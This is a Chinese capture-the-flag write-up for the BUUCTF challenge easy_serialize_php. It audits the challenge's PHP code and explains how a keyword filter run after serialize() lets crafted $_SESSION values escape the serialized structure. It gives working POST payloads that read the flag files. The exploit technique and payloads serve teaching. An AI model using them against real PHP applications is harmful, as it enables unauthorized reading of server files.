BUUCTF[安洵杯 2019]easy_serialize_php 1
考点:
反序列化逃逸
进入靶场
代码审计
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }#filter函数对指定符串进行过滤 if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST);#变量覆盖,传入的变量值将覆盖原来的变量 if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png');#对ing的值进行base64加密 }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));#对img的值进行base64加密和sha1加密 } $serialize_info = filter(serialize($_SESSION));#将$_SESSION序列化并过滤 if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
发现当$function == index.php时,为上面的代码;当$function == phpinfo时,“maybe you can find something in here!”,
令f = phpinfo
看到可疑文件:d0g3_f1ag.php
$serialize_info = filter(serialize($_SESSION));#将$_SESSION序列化并过滤
else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
根据此代码,可以知道它的逻辑
序列化 $_SESSION => filter过滤函数 => 反序列化 => base64解密文件名
知道了逻辑,现在需要img等于d0g3_f1ag.php的base64加密。(即 img=ZDBnM19mMWFnLnBocA==)
if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST);#变量覆盖,传入的变量值将覆盖原来的变量
为理解上方代码是如何实现的,我们来试一下。
运行的是他的原值
用POST改变它的值
发现我们可以控制它的值,所以我们推测要用$_SESSION函数来进行传参。
php反序列化逃逸
在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化
<?php $_SESSION['flagphp']=';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}abc'; echo serialize($_SESSION);
输出
a:1:{s:7:"flagphp";s:53:";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}abc";}
可以输出上面的结果,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符(abc)会被忽略,不影响反序列化的正常进行。
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>
输出
本题存在一个过滤机制。会将指定字符串替换为空
<?php function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
$a = filter(serialize($_SESSION));
echo serialize($a);
输出
看第二个s所对应的值,发现为空。原因是用filter函数将flag替换为空。那么按照规则向后读取24个字符看否不否和规则,即读取";s:8:"function";s:59:"a,读完后刚好以";结尾。后面也满足规则,序列化的结果为
array(3) { ["user"]=> string(24) "";s:8:"function";s:59:"a" ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" ["dd"]=> string(1) "a" }
可以发现,SESSION数组的键值img对应的值发生了改变。 设想,如果我们能够控制原来SESSION数组的funcion的值但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。这个感觉就像sql注入一样,他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn
,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==
代替了真正的base64编码,读取了d0g3_f1ag.php
的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
被忽略掉了,不影响正常的反序列化过程。
逃逸实现
else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
GET传入f=show_image
POST传入:_SESSION['flagphp']=;s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
回显中没任何东西。看源代码
发现flag在/d0g3_fllllllag中,对它进行base64加密,并替换img的值。因为都是20位,所以直接替换。
POST传入:_SESSION['flagphp']=;s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
得到flag。
还能传入的方法:
_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";};
$_SESSION['XXX']传入的值为8个被过滤的字符时:用";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";};
$_SESSION['XXX']传入的值为7个被过滤的字符时:用;s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}